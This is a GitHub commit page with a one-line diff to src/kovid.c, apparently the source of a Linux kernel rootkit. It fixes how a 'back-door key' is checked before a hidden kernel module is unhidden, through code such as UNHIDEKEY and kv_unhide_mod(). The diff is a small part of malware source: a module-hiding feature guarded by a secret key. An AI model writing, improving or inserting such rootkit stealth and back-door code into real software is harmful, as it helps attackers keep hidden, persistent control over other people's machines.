Skip to content

Commit

Permalink
back-door key: Fix missing check for sscanf return
Browse files Browse the repository at this point in the history
  • Loading branch information
JNE committed Nov 28, 2024
1 parent b5b1976 commit 4a3f1ab
Showing 1 changed file with 1 addition and 1 deletion.
2 changes: 1 addition & 1 deletion src/kovid.c
Original file line number Diff line number Diff line change
Expand Up @@ -501,7 +501,7 @@ static ssize_t write_cb(struct file *fptr, const char __user *user,
case Opt_unhide_module:
{
uint64_t val;
if (sscanf(args[0].from, "%llx", &val) &&
if ((sscanf(args[0].from, "%llx", &val) > 0) &&
UNHIDEKEY == val) {
kv_unhide_mod();
}
Expand Down

0 comments on commit 4a3f1ab

Please sign in to comment.